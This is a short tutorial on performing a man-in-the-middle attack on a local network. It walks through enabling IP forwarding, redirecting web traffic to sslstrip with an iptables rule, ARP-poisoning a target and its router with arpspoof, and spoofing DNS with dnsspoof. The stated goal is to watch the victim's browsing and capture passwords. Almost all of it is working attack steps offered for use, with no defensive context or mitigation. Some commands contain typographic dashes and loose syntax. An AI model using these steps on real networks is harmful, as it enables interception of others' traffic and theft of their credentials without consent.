Method to perform MITM Attack in LAN

In this tutorial we are going to learn how to perform 'Man In The Middle' attack in LAN level.

Tools Required: iptables, sslstrip, arpspoof, dnsspoof

Open leafpad and type YOUR_IP *.* and save the file

Open a terminal window and execute the following command to allow packet forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

In the same terminal, execute the following command to add a rule to iptables firewall that redirects web traffic to port 10000 where sslstrip is running.

iptables –t nat –p tcp –A PREROUTING --dport 80 –j REDIRECT --to-port 10000

Execute sslstrip -a to run secure protocols as insecure protocols

To perform a MITM attack, execute the following ARP poisoning command in a new terminal

arpspoof -t <router ip> <target ip>

Open one more terminal and execute the below command

arpspoof -t <target ip> <router ip>

Open a New Terminal and execute the following command to perform DNS poisoning

dnsspoof -f <file you have created before> -i interfacename host YOURIP and udp port 53

The above command displays DNS queries performed on the victim’s system.

In this attack the attacker can find out what the target is browsing and sensitive passwords can be found out if they are more vulnerable.
